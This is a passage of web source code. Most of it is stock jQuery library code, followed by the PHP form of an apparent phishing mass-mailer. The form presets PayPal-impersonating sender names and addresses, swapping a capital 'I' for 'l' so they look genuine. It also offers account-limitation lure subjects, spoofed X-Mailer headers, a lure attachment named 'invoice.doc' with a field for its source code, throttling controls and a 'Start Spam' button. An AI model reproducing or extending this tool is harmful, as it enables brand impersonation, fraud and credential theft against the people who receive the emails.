5896 statusCode: function(map) {
5897 var code;
5898 if (map) {
5899 if (state < 2) {
5900 for (code in map) {
5901 statusCode[code] = [statusCode[code], map[code]]
5902 }
5903 } else {
5904 jqXHR.always(map[jqXHR.status])
5905 }
5906 }
5907 return this
5908 },
5909 abort: function(statusText) {
5910 var finalText = statusText || strAbort;
5911 if (transport) {
5912 transport.abort(finalText)
5913 }
5914 done(0, finalText);
5915 return this
5916 }
5917 };
5918 deferred.promise(jqXHR).complete = completeDeferred.add;
5919 jqXHR.success = jqXHR.done;
5920 jqXHR.error = jqXHR.fail;
5921 s.url = ((url || s.url || ajaxLocation) + "").replace(rhash, "").replace(rprotocol, ajaxLocParts[1] + "//");
5922 s.type = options.method || options.type || s.method || s.type;
5923 s.dataTypes = jQuery.trim(s.dataType || "*").toLowerCase().match(rnotwhite) || [""];
5924 if (s.crossDomain == null) {
5925 parts = rurl.exec(s.url.toLowerCase());
5926 s.crossDomain = !!(parts && (parts[1] !== ajaxLocParts[1] || parts[2] !== ajaxLocParts[2] || (parts[3] || (parts[1] === "http:" ? "80" : "443")) !== (ajaxLocParts[3] || (ajaxLocParts[1] === "http:" ? "80" : "443"))))
5927 }
5928 if (s.data && s.processData && typeof s.data !== "string") {
5929 s.data = jQuery.param(s.data, s.traditional)
5930 }
5931 inspectPrefiltersOrTransports(prefilters, s, options, jqXHR);
5932 if (state === 2) {
5933 return jqXHR
5934 }
5935 fireGlobals = jQuery.event && s.global;
5936 if (fireGlobals && jQuery.active++ === 0) {
5937 jQuery.event.trigger("ajaxStart")
5938 }
5939 s.type = s.type.toUpperCase();
5940 s.hasContent = !rnoContent.test(s.type);
5941 cacheURL = s.url;
5942 if (!s.hasContent) {
5943 if (s.data) {
5944
5945 cacheURL = (s.url += (rquery.test(cacheURL) ? "&" : "?") + s.data);
5946 delete s.data
5947 }
5948 if (s.cache === false) {
5949 s.url = rts.test(cacheURL) ? cacheURL.replace(rts, "$1_=" + nonce++) : cacheURL + (rquery.test(cacheURL) ? "&" : "?") + "_=" + nonce++
5950 }
5951 }
5952 if (s.ifModified) {
5953 if (jQuery.lastModified[cacheURL]) {
5954 jqXHR.setRequestHeader("If-Modified-Since", jQuery.lastModified[cacheURL])
5955 }
5956 if (jQuery.etag[cacheURL]) {
5957 jqXHR.setRequestHeader("If-None-Match", jQuery.etag[cacheURL])
5958 }
5959 }
5960 if (s.data && s.hasContent && s.contentType !== false || options.contentType) {
5961 jqXHR.setRequestHeader("Content-Type", s.contentType)
5962 }
5963 jqXHR.setRequestHeader("Accept", s.dataTypes[0] && s.accepts[s.dataTypes[0]] ? s.accepts[s.dataTypes[0]] + (s.dataTypes[0] !== "*" ? ", " + allTypes + "; q=0.01" : "") : s.accepts["*"]);
5964 for (i in s.headers) {
5965 jqXHR.setRequestHeader(i, s.headers[i])
5966 }
5967 if (s.beforeSend && (s.beforeSend.call(callbackContext, jqXHR, s) === false || state === 2)) {
5968 return jqXHR.abort()
5969 }
5970 strAbort = "abort";
5971 for (i in {
5972 success: 1,
5973 error: 1,
5974 complete: 1
5975 }) {
5976 jqXHR[i](s[i])
5977 }
5978 transport = inspectPrefiltersOrTransports(transports, s, options, jqXHR);
5979 if (!transport) {
5980 done(-1, "No Transport")
5981 } else {
5982 jqXHR.readyState = 1;
5983 if (fireGlobals) {
5984 globalEventContext.trigger("ajaxSend", [jqXHR, s])
5985 }
5986 if (s.async && s.timeout > 0) {
5987 timeoutTimer = setTimeout(function() {
5988 jqXHR.abort("timeout")
5989 }, s.timeout)
5990 }
5991 try {
5992 state = 1;
5993 transport.send(requestHeaders, done)
5994 } catch (e) {
5995 if (state < 2) {
5996 done(-1, e)
5997 } else {
5998 throw e;
5999 }
6000 }
6001 }
6002
6003 function done(status, nativeStatusText, responses, headers) {
6004 var isSuccess, success, error, response, modified, statusText = nativeStatusText;
6005 if (state === 2) {
6006 return
6007 }
6008 state = 2;
6009 if (timeoutTimer) {
6010 clearTimeout(timeoutTimer)
6011 }
6012 transport = undefined;
6013 responseHeadersString = headers || "";
6014 jqXHR.readyState = status > 0 ? 4 : 0;
6015 isSuccess = status >= 200 && status < 300 || status === 304;
6016 if (responses) {
6017 response = ajaxHandleResponses(s, jqXHR, responses)
6018 }
6019 response = ajaxConvert(s, response, jqXHR, isSuccess);
6020 if (isSuccess) {
6021 if (s.ifModified) {
6022 modified = jqXHR.getResponseHeader("Last-Modified");
6023 if (modified) {
6024 jQuery.lastModified[cacheURL] = modified
6025 }
6026 modified = jqXHR.getResponseHeader("etag");
6027 if (modified) {
6028 jQuery.etag[cacheURL] = modified
6029 }
6030 }
6031 if (status === 204 || s.type === "HEAD") {
6032 statusText = "nocontent"
6033 } else if (status === 304) {
6034 statusText = "notmodified"
6035 } else {
6036 statusText = response.state;
6037 success = response.data;
6038 error = response.error;
6039 isSuccess = !error
6040 }
6041 } else {
6042 error = statusText;
6043 if (status || !statusText) {
6044 statusText = "error";
6045 if (status < 0) {
6046 status = 0
6047 }
6048 }
6049 }
6050 jqXHR.status = status;
6051 jqXHR.statusText = (nativeStatusText || statusText) + "";
6052 if (isSuccess) {
6053 deferred.resolveWith(callbackContext, [success, statusText, jqXHR])
6054 } else {
6055 deferred.rejectWith(callbackContext, [jqXHR, statusText, error])
6056 }
6057 jqXHR.statusCode(statusCode);
6058 statusCode = undefined;
6059 if (fireGlobals) {
6060 globalEventContext.trigger(isSuccess ? "ajaxSuccess" : "ajaxError", [jqXHR, s, isSuccess ? success : error])
6061 }
6062 completeDeferred.fireWith(callbackContext, [jqXHR, statusText]);
6063 if (fireGlobals) {
6064 globalEventContext.trigger("ajaxComplete", [jqXHR, s]);
6065 if (!(--jQuery.active)) {
6066 jQuery.event.trigger("ajaxStop")
6067 }
6068 }
6069 }
6070 return jqXHR
6071 },
6072 getJSON: function(url, data, callback) {
6073 return jQuery.get(url, data, callback, "json")
6074 },
6075 getScript: function(url, callback) {
6076 return jQuery.get(url, undefined, callback, "script")
6077 }
6078 });
6079 jQuery.each(["get", "post"], function(i, method) {
6080 jQuery[method] = function(url, data, callback, type) {
6081 if (jQuery.isFunction(data)) {
6082 type = type || callback;
6083 callback = data;
6084 data = undefined
6085 }
6086 return jQuery.ajax({
6087 url: url,
6088 type: method,
6089 dataType: type,
6090 data: data,
6091 success: callback
6092 })
6093 }
6094 });
6095 jQuery._evalUrl = function(url) {
6096 return jQuery.ajax({
6097 url: url,
6098 type: "GET",
6099 dataType: "script",
6100 async: false,
6101 global: false,
6102 "throws": true
6103 })
6104 };
6105 jQuery.fn.extend({
6106 wrapAll: function(html) {
6107 if (jQuery.isFunction(html)) {
6108 return this.each(function(i) {
6109 jQuery(this).wrapAll(html.call(this, i))
6110 })
6111 }
6112 if (this[0]) {
6113 var wrap = jQuery(html, this[0].ownerDocument).eq(0).clone(true);
6114 if (this[0].parentNode) {
6115 wrap.insertBefore(this[0])
6116 }
6117 wrap.map(function() {
6118 var elem = this;
6119 while (elem.firstChild && elem.firstChild.nodeType === 1) {
6120 elem = elem.firstChild
6121 }
6122 return elem
6123 }).append(this)
6124 }
6125 return this
6126 },
6127 wrapInner: function(html) {
6128 if (jQuery.isFunction(html)) {
6129 return this.each(function(i) {
6130 jQuery(this).wrapInner(html.call(this, i))
6131 })
6132 }
6133 return this.each(function() {
6134 var self = jQuery(this),
6135 contents = self.contents();
6136 if (contents.length) {
6137 contents.wrapAll(html)
6138 } else {
6139 self.append(html)
6140 }
6141 })
6142 },
6143 wrap: function(html) {
6144 var isFunction = jQuery.isFunction(html);
6145 return this.each(function(i) {
6146 jQuery(this).wrapAll(isFunction ? html.call(this, i) : html)
6147 })
6148 },
6149 unwrap: function() {
6150 return this.parent().each(function() {
6151 if (!jQuery.nodeName(this, "body")) {
6152 jQuery(this).replaceWith(this.childNodes)
6153 }
6154 }).end()
6155 }
6156 });
6157 jQuery.expr.filters.hidden = function(elem) {
6158 return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 || (!support.reliableHiddenOffsets() && ((elem.style && elem.style.display) || jQuery.css(elem, "display")) === "none")
6159 };
6160 jQuery.expr.filters.visible = function(elem) {
6161 return !jQuery.expr.filters.hidden(elem)
6162 };
6163 var r20 = /%20/g,
6164 rbracket = /\[\]$/,
6165 rCRLF = /\r?\n/g,
6166 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
6167 rsubmittable = /^(?:input|select|textarea|keygen)/i;
6168
6169 function buildParams(prefix, obj, traditional, add) {
6170 var name;
6171 if (jQuery.isArray(obj)) {
6172 jQuery.each(obj, function(i, v) {
6173 if (traditional || rbracket.test(prefix)) {
6174 add(prefix, v)
6175 } else {
6176 buildParams(prefix + "[" + (typeof v === "object" ? i : "") + "]", v, traditional, add)
6177 }
6178 })
6179 } else if (!traditional && jQuery.type(obj) === "object") {
6180 for (name in obj) {
6181 buildParams(prefix + "[" + name + "]", obj[name], traditional, add)
6182 }
6183 } else {
6184 add(prefix, obj)
6185 }
6186 }
6187 jQuery.param = function(a, traditional) {
6188 var prefix, s = [],
6189 add = function(key, value) {
6190 value = jQuery.isFunction(value) ? value() : (value == null ? "" : value);
6191 s[s.length] = encodeURIComponent(key) + "=" + encodeURIComponent(value)
6192 };
6193 if (traditional === undefined) {
6194 traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional
6195 }
6196 if (jQuery.isArray(a) || (a.jquery && !jQuery.isPlainObject(a))) {
6197 jQuery.each(a, function() {
6198 add(this.name, this.value)
6199 })
6200 } else {
6201 for (prefix in a) {
6202 buildParams(prefix, a[prefix], traditional, add)
6203 }
6204 }
6205 return s.join("&").replace(r20, "+")
6206 };
6207 jQuery.fn.extend({
6208 serialize: function() {
6209 return jQuery.param(this.serializeArray())
6210 },
6211 serializeArray: function() {
6212 return this.map(function() {
6213 var elements = jQuery.prop(this, "elements");
6214 return elements ? jQuery.makeArray(elements) : this
6215 }).filter(function() {
6216 var type = this.type;
6217 return this.name && !jQuery(this).is(":disabled") && rsubmittable.test(this.nodeName) && !rsubmitterTypes.test(type) && (this.checked || !rcheckableType.test(type))
6218 }).map(function(i, elem) {
6219 var val = jQuery(this).val();
6220 return val == null ? null : jQuery.isArray(val) ? jQuery.map(val, function(val) {
6221 return {
6222 name: elem.name,
6223 value: val.replace(rCRLF, "\r\n")
6224 }
6225 }) : {
6226 name: elem.name,
6227 value: val.replace(rCRLF, "\r\n")
6228 }
6229 }).get()
6230 }
6231 });
6232 jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ? function() {
6233 return !this.isLocal && /^(get|post|head|put|delete|options)$/i.test(this.type) && createStandardXHR() || createActiveXHR()
6234 } : createStandardXHR;
6235 var xhrId = 0,
6236 xhrCallbacks = {},
6237 xhrSupported = jQuery.ajaxSettings.xhr();
6238 if (window.attachEvent) {
6239 window.attachEvent("onunload", function() {
6240 for (var key in xhrCallbacks) {
6241 xhrCallbacks[key](undefined, true)
6242 }
6243 })
6244 }
6245 support.cors = !!xhrSupported && ("withCredentials" in xhrSupported);
6246 xhrSupported = support.ajax = !!xhrSupported;
6247 if (xhrSupported) {
6248 jQuery.ajaxTransport(function(options) {
6249 if (!options.crossDomain || support.cors) {
6250 var callback;
6251 return {
6252 send: function(headers, complete) {
6253 var i, xhr = options.xhr(),
6254 id = ++xhrId;
6255 xhr.open(options.type, options.url, options.async, options.username, options.password);
6256 if (options.xhrFields) {
6257 for (i in options.xhrFields) {
6258 xhr[i] = options.xhrFields[i]
6259 }
6260 }
6261 if (options.mimeType && xhr.overrideMimeType) {
6262 xhr.overrideMimeType(options.mimeType)
6263 }
6264 if (!options.crossDomain && !headers["X-Requested-With"]) {
6265 headers["X-Requested-With"] = "XMLHttpRequest"
6266 }
6267 for (i in headers) {
6268 if (headers[i] !== undefined) {
6269 xhr.setRequestHeader(i, headers[i] + "")
6270 }
6271 }
6272 xhr.send((options.hasContent && options.data) || null);
6273 callback = function(_, isAbort) {
6274 var status, statusText, responses;
6275 if (callback && (isAbort || xhr.readyState === 4)) {
6276 delete xhrCallbacks[id];
6277 callback = undefined;
6278 xhr.onreadystatechange = jQuery.noop;
6279 if (isAbort) {
6280 if (xhr.readyState !== 4) {
6281 xhr.abort()
6282 }
6283 } else {
6284 responses = {};
6285 status = xhr.status;
6286 if (typeof xhr.responseText === "string") {
6287 responses.text = xhr.responseText
6288 }
6289 try {
6290 statusText = xhr.statusText
6291 } catch (e) {
6292 statusText = ""
6293 }
6294 if (!status && options.isLocal && !options.crossDomain) {
6295 status = responses.text ? 200 : 404
6296 } else if (status === 1223) {
6297 status = 204
6298 }
6299 }
6300 }
6301 if (responses) {
6302 complete(status, statusText, responses, xhr.getAllResponseHeaders())
6303 }
6304 };
6305 if (!options.async) {
6306 callback()
6307 } else if (xhr.readyState === 4) {
6308 setTimeout(callback)
6309 } else {
6310 xhr.onreadystatechange = xhrCallbacks[id] = callback
6311 }
6312 },
6313 abort: function() {
6314 if (callback) {
6315 callback(undefined, true)
6316 }
6317 }
6318 }
6319 }
6320 })
6321 }
6322 function createStandardXHR() {
6323 try {
6324 return new window.XMLHttpRequest()
6325 } catch (e) {}
6326 }
6327
6328 function createActiveXHR() {
6329 try {
6330 return new window.ActiveXObject("Microsoft.XMLHTTP")
6331 } catch (e) {}
6332 }
6333 jQuery.ajaxSetup({
6334 accepts: {
6335 script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
6336 },
6337 contents: {
6338 script: /(?:java|ecma)script/
6339 },
6340 converters: {
6341 "text script": function(text) {
6342 jQuery.globalEval(text);
6343 return text
6344 }
6345 }
6346 });
6347 jQuery.ajaxPrefilter("script", function(s) {
6348 if (s.cache === undefined) {
6349 s.cache = false
6350 }
6351 if (s.crossDomain) {
6352 s.type = "GET";
6353 s.global = false
6354 }
6355 });
6356 jQuery.ajaxTransport("script", function(s) {
6357 if (s.crossDomain) {
6358 var script, head = document.head || jQuery("head")[0] || document.documentElement;
6359 return {
6360 send: function(_, callback) {
6361 script = document.createElement("script");
6362 script.async = true;
6363 if (s.scriptCharset) {
6364 script.charset = s.scriptCharset
6365 }
6366 script.src = s.url;
6367 script.onload = script.onreadystatechange = function(_, isAbort) {
6368 if (isAbort || !script.readyState || /loaded|complete/.test(script.readyState)) {
6369 script.onload = script.onreadystatechange = null;
6370 if (script.parentNode) {
6371 script.parentNode.removeChild(script)
6372 }
6373 script = null;
6374 if (!isAbort) {
6375 callback(200, "success")
6376 }
6377 }
6378 };
6379 head.insertBefore(script, head.firstChild)
6380 },
6381 abort: function() {
6382 if (script) {
6383 script.onload(undefined, true)
6384 }
6385 }
6386 }
6387 }
6388 });
6389 var oldCallbacks = [],
6390 rjsonp = /(=)\?(?=&|$)|\?\?/;
6391 jQuery.ajaxSetup({
6392 jsonp: "callback",
6393 jsonpCallback: function() {
6394 var callback = oldCallbacks.pop() || (jQuery.expando + "_" + (nonce++));
6395 this[callback] = true;
6396 return callback
6397 }
6398 });
6399 jQuery.ajaxPrefilter("json jsonp", function(s, originalSettings, jqXHR) {
6400 var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && (rjsonp.test(s.url) ? "url" : typeof s.data === "string" && !(s.contentType || "").indexOf("application/x-www-form-urlencoded") && rjsonp.test(s.data) && "data");
6401 if (jsonProp || s.dataTypes[0] === "jsonp") {
6402 callbackName = s.jsonpCallback = jQuery.isFunction(s.jsonpCallback) ? s.jsonpCallback() : s.jsonpCallback;
6403 if (jsonProp) {
6404 s[jsonProp] = s[jsonProp].replace(rjsonp, "$1" + callbackName)
6405 } else if (s.jsonp !== false) {
6406 s.url += (rquery.test(s.url) ? "&" : "?") + s.jsonp + "=" + callbackName
6407 }
6408 s.converters["script json"] = function() {
6409 if (!responseContainer) {
6410 jQuery.error(callbackName + " was not called")
6411 }
6412 return responseContainer[0]
6413 };
6414 s.dataTypes[0] = "json";
6415 overwritten = window[callbackName];
6416 window[callbackName] = function() {
6417 responseContainer = arguments
6418 };
6419 jqXHR.always(function() {
6420 window[callbackName] = overwritten;
6421 if (s[callbackName]) {
6422 s.jsonpCallback = originalSettings.jsonpCallback;
6423 oldCallbacks.push(callbackName)
6424 }
6425 if (responseContainer && jQuery.isFunction(overwritten)) {
6426 overwritten(responseContainer[0])
6427 }
6428 responseContainer = overwritten = undefined
6429 });
6430 return "script"
6431 }
6432 });
6433 jQuery.parseHTML = function(data, context, keepScripts) {
6434 if (!data || typeof data !== "string") {
6435 return null
6436 }
6437 if (typeof context === "boolean") {
6438 keepScripts = context;
6439 context = false
6440 }
6441 context = context || document;
6442 var parsed = rsingleTag.exec(data),
6443 scripts = !keepScripts && [];
6444 if (parsed) {
6445 return [context.createElement(parsed[1])]
6446 }
6447 parsed = jQuery.buildFragment([data], context, scripts);
6448 if (scripts && scripts.length) {
6449 jQuery(scripts).remove()
6450 }
6451 return jQuery.merge([], parsed.childNodes)
6452 };
6453 var _load = jQuery.fn.load;
6454 jQuery.fn.load = function(url, params, callback) {
6455 if (typeof url !== "string" && _load) {
6456 return _load.apply(this, arguments)
6457 }
6458 var selector, response, type, self = this,
6459 off = url.indexOf(" ");
6460 if (off >= 0) {
6461 selector = jQuery.trim(url.slice(off, url.length));
6462 url = url.slice(0, off)
6463 }
6464 if (jQuery.isFunction(params)) {
6465 callback = params;
6466 params = undefined
6467 } else if (params && typeof params === "object") {
6468 type = "POST"
6469 }
6470 if (self.length > 0) {
6471 jQuery.ajax({
6472 url: url,
6473 type: type,
6474 dataType: "html",
6475 data: params
6476 }).done(function(responseText) {
6477 response = arguments;
6478 self.html(selector ? jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector) : responseText)
6479 }).complete(callback && function(jqXHR, status) {
6480 self.each(callback, response || [jqXHR.responseText, status, jqXHR])
6481 })
6482 }
6483 return this
6484 };
6485 jQuery.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(i, type) {
6486 jQuery.fn[type] = function(fn) {
6487 return this.on(type, fn)
6488 }
6489 });
6490 jQuery.expr.filters.animated = function(elem) {
6491 return jQuery.grep(jQuery.timers, function(fn) {
6492 return elem === fn.elem
6493 }).length
6494 };
6495 var docElem = window.document.documentElement;
6496
6497 function getWindow(elem) {
6498 return jQuery.isWindow(elem) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false
6499 }
6500 jQuery.offset = {
6501 setOffset: function(elem, options, i) {
6502 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css(elem, "position"),
6503 curElem = jQuery(elem),
6504 props = {};
6505 if (position === "static") {
6506 elem.style.position = "relative"
6507 }
6508 curOffset = curElem.offset();
6509 curCSSTop = jQuery.css(elem, "top");
6510 curCSSLeft = jQuery.css(elem, "left");
6511 calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1;
6512 if (calculatePosition) {
6513 curPosition = curElem.position();
6514 curTop = curPosition.top;
6515 curLeft = curPosition.left
6516 } else {
6517 curTop = parseFloat(curCSSTop) || 0;
6518 curLeft = parseFloat(curCSSLeft) || 0
6519 }
6520 if (jQuery.isFunction(options)) {
6521 options = options.call(elem, i, curOffset)
6522 }
6523 if (options.top != null) {
6524 props.top = (options.top - curOffset.top) + curTop
6525 }
6526 if (options.left != null) {
6527 props.left = (options.left - curOffset.left) + curLeft
6528 }
6529 if ("using" in options) {
6530 options.using.call(elem, props)
6531 } else {
6532 curElem.css(props)
6533 }
6534 }
6535 };
6536 jQuery.fn.extend({
6537 offset: function(options) {
6538 if (arguments.length) {
6539 return options === undefined ? this : this.each(function(i) {
6540 jQuery.offset.setOffset(this, options, i)
6541 })
6542 }
6543 var docElem, win, box = {
6544 top: 0,
6545 left: 0
6546 },
6547 elem = this[0],
6548 doc = elem && elem.ownerDocument;
6549 if (!doc) {
6550 return
6551 }
6552 docElem = doc.documentElement;
6553 if (!jQuery.contains(docElem, elem)) {
6554 return box
6555 }
6556 if (typeof elem.getBoundingClientRect !== strundefined) {
6557 box = elem.getBoundingClientRect()
6558 }
6559 win = getWindow(doc);
6560 return {
6561 top: box.top + (win.pageYOffset || docElem.scrollTop) - (docElem.clientTop || 0),
6562 left: box.left + (win.pageXOffset || docElem.scrollLeft) - (docElem.clientLeft || 0)
6563 }
6564 },
6565 position: function() {
6566 if (!this[0]) {
6567 return
6568 }
6569 var offsetParent, offset, parentOffset = {
6570 top: 0,
6571 left: 0
6572 },
6573 elem = this[0];
6574 if (jQuery.css(elem, "position") === "fixed") {
6575 offset = elem.getBoundingClientRect()
6576 } else {
6577 offsetParent = this.offsetParent();
6578 offset = this.offset();
6579 if (!jQuery.nodeName(offsetParent[0], "html")) {
6580 parentOffset = offsetParent.offset()
6581 }
6582 parentOffset.top += jQuery.css(offsetParent[0], "borderTopWidth", true);
6583 parentOffset.left += jQuery.css(offsetParent[0], "borderLeftWidth", true)
6584 }
6585 return {
6586 top: offset.top - parentOffset.top - jQuery.css(elem, "marginTop", true),
6587 left: offset.left - parentOffset.left - jQuery.css(elem, "marginLeft", true)
6588 }
6589 },
6590 offsetParent: function() {
6591 return this.map(function() {
6592 var offsetParent = this.offsetParent || docElem;
6593 while (offsetParent && (!jQuery.nodeName(offsetParent, "html") && jQuery.css(offsetParent, "position") === "static")) {
6594 offsetParent = offsetParent.offsetParent
6595 }
6596 return offsetParent || docElem
6597 })
6598 }
6599 });
6600 jQuery.each({
6601 scrollLeft: "pageXOffset",
6602 scrollTop: "pageYOffset"
6603 }, function(method, prop) {
6604 var top = /Y/.test(prop);
6605 jQuery.fn[method] = function(val) {
6606 return access(this, function(elem, method, val) {
6607 var win = getWindow(elem);
6608 if (val === undefined) {
6609 return win ? (prop in win) ? win[prop] : win.document.documentElement[method] : elem[method]
6610 }
6611 if (win) {
6612 win.scrollTo(!top ? val : jQuery(win).scrollLeft(), top ? val : jQuery(win).scrollTop())
6613 } else {
6614 elem[method] = val
6615 }
6616 }, method, val, arguments.length, null)
6617 }
6618 });
6619 jQuery.each(["top", "left"], function(i, prop) {
6620 jQuery.cssHooks[prop] = addGetHookIf(support.pixelPosition, function(elem, computed) {
6621 if (computed) {
6622 computed = curCSS(elem, prop);
6623 return rnumnonpx.test(computed) ? jQuery(elem).position()[prop] + "px" : computed
6624 }
6625 })
6626 });
6627 jQuery.each({
6628 Height: "height",
6629 Width: "width"
6630 }, function(name, type) {
6631 jQuery.each({
6632 padding: "inner" + name,
6633 content: type,
6634 "": "outer" + name
6635 }, function(defaultExtra, funcName) {
6636 jQuery.fn[funcName] = function(margin, value) {
6637 var chainable = arguments.length && (defaultExtra || typeof margin !== "boolean"),
6638 extra = defaultExtra || (margin === true || value === true ? "margin" : "border");
6639 return access(this, function(elem, type, value) {
6640 var doc;
6641 if (jQuery.isWindow(elem)) {
6642 return elem.document.documentElement["client" + name]
6643 }
6644 if (elem.nodeType === 9) {
6645 doc = elem.documentElement;
6646 return Math.max(elem.body["scroll" + name], doc["scroll" + name], elem.body["offset" + name], doc["offset" + name], doc["client" + name])
6647 }
6648 return value === undefined ? jQuery.css(elem, type, extra) : jQuery.style(elem, type, value, extra)
6649 }, type, chainable ? margin : undefined, chainable, null)
6650 }
6651 })
6652 });
6653 jQuery.fn.size = function() {
6654 return this.length
6655 };
6656 jQuery.fn.andSelf = jQuery.fn.addBack;
6657 if (typeof define === "function" && define.amd) {
6658 define("jquery", [], function() {
6659 return jQuery
6660 })
6661 }
6662 var _jQuery = window.jQuery,
6663 _$ = window.$;
6664 jQuery.noConflict = function(deep) {
6665 if (window.$ === jQuery) {
6666 window.$ = _$
6667 }
6668 if (deep && window.jQuery === jQuery) {
6669 window.jQuery = _jQuery
6670 }
6671 return jQuery
6672 };
6673 if (typeof noGlobal === strundefined) {
6674 window.jQuery = window.$ = jQuery
6675 }
6676 return jQuery
6677 }));
6678 </script>
6679 </div>
6680 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6681 <div style="margin-bottom: 10px" class="input-group">
6682 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
6683 <select class="form-control" name="type">
6684 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
6685 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
6686 </select>
6687 </div>
6688 <div style="margin-bottom: 10px" class="input-group">
6689 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6690 <select class="form-control" onChange="Pilih4(this);">
6691 <option value="">No X-Mailer</option>
6692 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
6693 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
6694 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
6695 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
6696 </select>
6697 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?php echo $xmailer;?>" placeholder="X-Mailer">
6698 </div>
6699 </div>
6700 </div>
6701
6702 <div class="col-sm-8" style="padding-right: 7.5px !important;">
6703
6704 <div style="margin-bottom: 10px" class="input-group">
6705 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
6706 <select class="form-control" onChange="Pilih1(this);">
6707 <option value="">Select Sender Name</option>
6708 <option value="PayPaI">PayPaI</option>
6709 <option value="PaypaI Service">PaypaI Service</option>
6710 <option value="PaypaI Support">PaypaI Support</option>
6711 <option value="Account Service">Account Service</option>
6712 <option value="Account Support">Account Support</option>
6713 <option value="Service">Service</option>
6714 </select>
6715 <input id="sender-name" type="text" class="form-control" name="nama" value="<?php echo $nama;?>" placeholder="Sender Name">
6716 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6717 <select class="form-control kanan" onChange="Pilih2(this);">
6718 <option value="">Select Sender Email</option>
6719 <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
6720 <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
6721 <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
6722 <option value="no-reply">no-reply</option>
6723 <option value="admin">admin</option>
6724 <option value="service">service</option>
6725 <option value="same as target">same as target</option>
6726
6727 </select>
6728 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?php echo $email;?>" placeholder="Sender Email">
6729 </div>
6730
6731 <div style="margin-bottom: 10px" class="input-group">
6732 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
6733 <select class="form-control kanan" onChange="Pilih3(this);">
6734 <option value="">Select Email Subject</option>
6735 <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
6736 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
6737 <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
6738 <option value="Account Notification">Account Notification</option>
6739 <option value="Attention: Your account status change">Attention: Your account status change</option>
6740
6741 </select>
6742 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?php echo $subject;?>" placeholder="Subject">
6743 </div>
6744
6745 <div style="margin-bottom: 5px" class="input-group">
6746 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
6747 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
6748 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
6749 <select class="form-control" name="encode">
6750 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
6751 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
6752 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
6753 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
6754 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
6755 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
6756 </select>
6757 </div>
6758 <div style="margin-bottom: 5px" class="input-group">
6759 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b>Add Number Of Inline-mesage</b></span>
6760 <input type="text" name="inline" value="<?php echo $_POST['inline'];?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6761 </div>
6762 <div style="margin-bottom: 5px" class="input-group">
6763 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b>Name of attachment (invoice.doc)</b></span>
6764 <input type="text" name="inlineatt" value="<?php echo $_POST['inlineatt']; ?>" style="width: 200px;border-radius: 4px;padding: 3px 6px;">
6765 </div>
6766
6767
6768 <div style="margin-bottom: 10px" class="input-group">
6769 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
6770 <textarea class="form-control" rows="10" name="attachdata" placeholder="Attachment Source Code"><?php if(!empty($_POST['attachdata'])){ echo $_POST['attachdata'];}?></textarea>
6771 </div>
6772
6773 <div style="margin-bottom: 10px" class="input-group">
6774 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
6775 <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?php echo $pesan;?></textarea>
6776 </div>
6777
6778 <div style="margin-bottom: 10px" class="input-group">
6779 <input type="submit" class="btn btn-success" name="action" value="Start Spam">
6780 <font color="white">Next send after </font>
6781 <input type="text" name="wait" value="<?php echo $wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6782
6783 | Reconnect After <font color="white">(emails)
6784 </div>
6785
6786 </div>
6787 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6788
6789 <div style="margin-bottom: 10px" class="input-group">
